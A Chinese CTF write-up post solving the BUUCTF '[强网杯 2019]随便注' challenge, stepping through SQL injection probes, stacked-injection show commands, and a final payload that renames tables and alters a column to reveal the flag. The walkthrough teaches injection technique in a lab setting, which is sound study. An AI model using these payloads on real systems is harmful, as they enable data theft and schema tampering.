BUUCTF

发布时间 2023-11-10 11:23:01作者: small黄
[强网杯 2019]随便注
1
首先进入网址

直接查看源代码

除了《sqlmap是没有灵魂的》,一切正常,说明可以通过sqlmap来做题,但是我要做一个有灵魂的人!

 

先输入1'

有报错,猜测是字符型

直接万能密码 1' or 1=1#

感觉没什么有用的

再order by一下

 发现为3的时候报错了,直接联合查询  1' union select 1,2#

发现过滤了select等指令,双写也过滤

尝试用show进行堆叠注入   1';show databases;#

 发现可以执行,接着尝试1';show tables;#

 出来两个表 "1919810931114514" , "words"

先从字少的搞起,直接1';show columns from words;#

 发现有 id 和 data,感觉万能密码回显的数据就是id 和 data,因此回显的数据来源就是words表,words表先看到这里

接着 1';show columns from 1919810931114514;#,然后发现show指令没有显示结果,感觉是因为表名是纯数字,然后上网一搜,果真如此

 然后 1';show columns from `1919810931114514`;#

 终于看见了 flag 的影子

经过几番挣扎,我终究是水平有限,开搜。

。。。。。。

上文提到过万能密码回显的数据来源是words表,因此我可以将1919810931114514这个表改名为words,然后通过万能密码回显出flag。

构造payload:1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

然后输入万能密码回显出flag。